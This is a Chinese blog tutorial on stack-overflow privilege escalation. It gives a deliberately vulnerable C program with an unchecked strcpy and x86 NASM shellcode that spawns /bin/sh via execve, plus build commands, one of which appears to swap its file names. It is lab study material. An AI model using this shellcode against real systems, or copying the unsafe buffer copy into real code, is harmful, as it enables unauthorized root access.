栈溢出攻击提权进入root shell

本文详细介绍了如何通过栈溢出攻击来获取root shell的步骤。首先,编写了一个简单的bug.c程序,然后利用shellcode避开00字节限制。接着,通过编写exploit.c进行栈溢出攻击,但在实际操作中遇到栈地址随机化和栈不可执行的保护机制。为了解决这些问题,关闭了这些保护,并用zsh替代bash,最终成功进入root shell。若不关闭栈地址随机化,文章也提供了一种可能的解决思路。
摘要由CSDN通过智能技术生成

以前对栈溢出攻击只是一种感官上的,最近学了shellcode,才真切地感觉到了栈溢出攻击有多么危险。

为了测试简单,写一个比较简单的程序,我们称之为bug.c


#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
	char buff[500];
	strcpy(buff,argv[1]);
	return 0;
}

这段代码比较简单,就是为了用来测试栈溢出的,很显然,它是有漏洞的。

好了,我们准备好进入root shell的汇编代码:

Section .text
global _start

_start:
	xor eax,eax
	push eax
	push 0x68732f	; /sh 小端机存储
	push 0x6e69622f ; /bin 小端存储
	mov ebx,esp
	push eax
	push ebx
	mov ecx,esp
	xor edx,edx
	mov al,0xb	; execve函数
	int 0x80

我们用nasm编译:

nasm -f elf execve.asm

用ld链接:

ld execve -o execve.o

我们测试一下结果:

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值